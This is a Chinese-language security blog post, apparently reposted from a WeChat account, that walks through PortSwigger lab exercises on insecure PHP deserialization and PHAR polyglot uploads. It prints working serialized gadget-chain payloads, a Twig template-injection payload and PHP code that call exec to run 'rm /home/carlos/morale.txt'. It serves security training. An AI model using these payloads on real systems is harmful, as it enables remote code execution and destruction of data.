不安全的反序列化-攻击示例(六)

admin 2022年12月8日18:58:27评论31 views字数 3695阅读12分19秒阅读模式

在本节中,将用PHPRubyJava反序列化的例子指导如何利用一些常见的情况,从而证明利用不安全的反序列化实际上比许多人认为的要容易很多。

如果能使用预先建立的小工具链,在黑盒测试中甚至可以做到这一点。

虽然许多试验和例子都是基于PHP的,但大多数利用技术对其他语言也同样有效。



创建自己的漏洞

通过仔细研究源代码,可以发现更多的小工具链,这些链可能允许构建高严重性,包括远程代码执行。


场景试验-PHP反序列化开发自定义小工具链:

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization

场景说明:

这个试验场景使用了基于序列化的会话机制,通过部署自定义小工具链,可以利用其不安全的反序列化实现远程代码执行。

试验目的:

要完成这个试验,需要删除carlos主目录下的moral.txt文件。

试验提供了一个可登录的账号wiener:peter

攻击过程:

登录账户后,可以看到会话cookie包含一个序列化的PHP对象。另外可以注意到,这个网站引用了/cgi-bin/libs/CustomTemplate.php文件,通过使用.php~文件扩展名备份文件从而获取源代码

不安全的反序列化-攻击示例(六)

不安全的反序列化-攻击示例(六)

                     


在源代码中可以看到_wakeup的魔术方法通过引用CustomTemplate中的default_desc_typedesc来创建新的Product

不安全的反序列化-攻击示例(六)

另外也可以看到DefaultMap类具有_get()魔术方法,如果尝试读取该对象不存在的属性,就会调用这个方法。这个魔术方法调用call_user_func(),它将执行通过DefaultMap->回调属性传递给它的任何函数。这个函数将在$name上执行,这是请求的不存在的属性。

不安全的反序列化-攻击示例(六)

通过传入下面CustomTemplate对象,可以利用这个小工具链来调用执行

"exec (rm /home/carlos/morale.txt)"CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";CustomTemplate->desc = DefaultMap; DefaultMap->callback = "exec"

遵循源代码中的数据流,可以注意到这会导致Product构造函数尝试从DefaultMap对象获取default_desc_type,但由于它没有这个属性,所以_get()方法将调用default_desc_type上的exec()方法,该方法设置为shell命令

将下面的序列化对象进行Base64URL加密后替换cookie,发送请求即可完成试验

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

不安全的反序列化-攻击示例(六)



PHAR反序列化

到目前为止,主要研究了如何利用网站显示反序列化用户输入的漏洞。然后在PHP中,有时即使没有明显使用unserialize()方法,也可能利用反序列化。

PHP提供了几种URL样式的包装器,可以在访问文件路径时使用它们来处理不同的协议,其中一个就是phar://包装器,它提供了一个用于访问PHP Archive(.phar)文件的流接口。

PHP官方文档显示PHAR清单文件包含序列化元数据,尤其重要的是,如果对phar://流执行任何文件系统操作,那么该元素将被隐式反序列化。这意味着phar://流可能是利用不安全反序列化的向量,前提是可以将流传递到文件系统方法中。

对于有明显危险的文件系统方法,例如include()open(),网站很可能已经实施了反制措施,以减少它们被恶意使用的可能性。然后像file_exists()这样的方法,虽然没有那么明显的危险,但可能没有得到很好的保护。

这种技术还要求以某种方式将PHAR上传到服务器。例如,一种方式是使用图像上传功能,如果能够创建一个多语言文件,并将PHAR伪装成简单的JPG格式,有事可以绕过网站的验证检查。

如果可以强制网站从phar://流加载这个多语言的"JPG",通过phar元数据注入的任何有害数据都将被反序列化。由于PHP读取流时不会检查文件扩展名,因此文件是否使用图像扩展名并不重要。

只要网站支持对象的类,就可以以这种方法调用_wakeup()_destruct()魔法方法,允许使用这种技术潜在地启动一个小工具链。


场景试验-使用PHAR反序列化部署自定义小工具链:

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain

场景说明:

这个试验场景没有显示使用反序列化,但是,如果将PHAR反序列化与其他高级黑客技术结合起来,仍然可以通过自定义小工具链实现远程代码执行。

试验目的:

要完成这个试验,需要删除carlos主目录下的moral.txt文件。

试验提供了一个可登录的账号wiener:peter

攻击过程:

这个网站拥有一个上传头像的功能,它只接收JPG图像。可以上传一个有效的JPG作为我们的头像后可以看到,它是使用GET /cig-bin/avatar.php?avatar=wiener加载的

BurpSuite中,请求GET /cgi-bin找到一个显示Blog.phpCustomTemplate.php文件的索引,可以通过.php~来获取文件源代码

不安全的反序列化-攻击示例(六)

研究这两个源代码可以看到涉及到两个小工具链,Blog->descCustomTemplate->lockFilePath,在lockFilePath属性上调用了file_exists()文件系统方法

不安全的反序列化-攻击示例(六)

这个网站还使用了Twig模板引擎,可以使用反序列化传输服务器端模板注入(SSTI)payload,在Twig上查找远程代码执行的记录,并调整它用于删除carlos的文件,调整的语句如下:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}


编写PHP来创建一个CustomTemplateBlog包含SSTIpayload

class CustomTemplate {} class Blog {} $object = newCustomTemplate; $blog = new Blog;$blog->desc ='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm/home/carlos/morale.txt")}}';$blog->user = 'user'; $object->template_file_path = $blog; 



创建一个包含PHP脚本的PHAR-JPG多语言文件,可以直接在网上搜索下"phar-jpg polyglot",或者用下面的链接下载

https://github.com/kunte0/phar-jpg-polyglot

不安全的反序列化-攻击示例(六)

编辑"phar_jpg_polyglot.php",将其中"pop exploit class"部分用上面payload进行替换

不安全的反序列化-攻击示例(六)

不安全的反序列化-攻击示例(六)

执行下面语句生成带有恶意payload的图片,并将此图片out.jpg作为头像上传

php –c php.ini phar_jpg_polyglot.php

不安全的反序列化-攻击示例(六)


发送phar://的请求,执行远程代码,即可完成本试验

不安全的反序列化-攻击示例(六)



使用内存溢出利用反序列化

即使不使用小工具链,仍有可能利用不安全的反序列化。如果所有其他方法都失败,则通常存在公开记录的内存泄露漏洞,可以通过不安全的反序列化来利用这些漏洞,通常可以导致远程代码执行。

反序列化方法,例如PHPunserialize()很少针对这类攻击进行强化,并且暴露了大量的攻击面。

这本身并不总被认为是一个漏洞,因为这些方法最初并不打算处理用户可控的输入。


不安全的反序列化-攻击示例(六)


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理



原文始发于微信公众号(H君网安白话):不安全的反序列化-攻击示例(六)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月8日18:58:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不安全的反序列化-攻击示例(六)http://cn-sec.com/archives/1447377.html

发表评论

匿名网友 填写信息